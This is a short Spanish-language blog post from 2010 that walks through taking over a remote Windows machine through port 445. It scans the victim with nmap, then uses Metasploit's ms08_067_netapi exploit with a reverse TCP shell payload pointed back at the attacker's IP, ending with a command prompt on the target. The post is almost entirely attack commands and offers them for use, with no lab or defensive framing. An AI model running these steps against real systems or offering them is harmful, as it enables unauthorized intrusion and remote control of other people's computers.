jueves, 13 de mayo de 2010

Penetracion Maquina Remota Puerto 445

Esplicacion de una vulnerabilidad al puerto 445 para controlar la maquina remotamente.

Ataque Lanzado en Backtrack 4 con metasploit.

#nmap IP Victima

#nmap -O Ip Victima ( localizamos el puerto 445 si esta abierto)

lanzamos msfconsole.

#msfconsole

Aqui vamos a lanzar el exploit con la vulnerabilidad acia la ip de la victima y puerto.

#msf> use windows/smb/ms08_067_netapi
#msf exploit ms08_067_netapi>set RHOST Ip victima
#msf exploit ms08_067_netapi>set payload windows/shell/reverse_tcp

Aqui vamos a indicar la maquina remota

#msf exploit ms08_067_netapi>set LHOST nuestra Ip

Checamos que todo este bien maquina victima y maquina remota Ips puerto a explotar y despues lanzamos en exploit.

#msf exploit ms08_067_netapi>show options
#msf exploit ms08_067_netapi>exploit

El exploit checa Ips puertos y lanza la vulnerabilidad y si todo esta de maravilla nos abre una shell de la maquina remota.

c:\windows\system32> y ya estamos en la maquina.

No hay comentarios:

Publicar un comentario